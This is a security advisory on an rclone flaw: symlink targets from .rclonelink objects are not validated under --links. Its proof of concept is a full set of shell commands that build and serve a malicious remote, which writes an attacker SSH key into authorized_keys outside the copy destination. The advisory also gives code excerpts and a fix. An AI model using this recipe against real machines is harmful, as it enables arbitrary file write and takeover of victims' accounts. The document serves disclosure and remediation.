rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote

### Summary With `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object "inside" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution. ### Details `backend/local/local.go`, `Object.Update()`: ```go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if _, err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } ``` `symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination. ### PoC 1) Get the official stable binary: ``` curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3 ``` 2) Create an attacker-controlled "remote" (two objects) and a victim layout: ``` mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys ls -l victimhome/.ssh # empty (before) ``` 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): ``` cd evil && python3 -m http.server 38080 --bind 127.0.0.1 ``` 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ``` ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v ``` 5) Observe — a file landed OUTSIDE `./dest`: ``` ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest ``` `pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution. ### Impact An attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal). ### Remediation In `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.

Quoted source text, attributed separately from HOL analysis.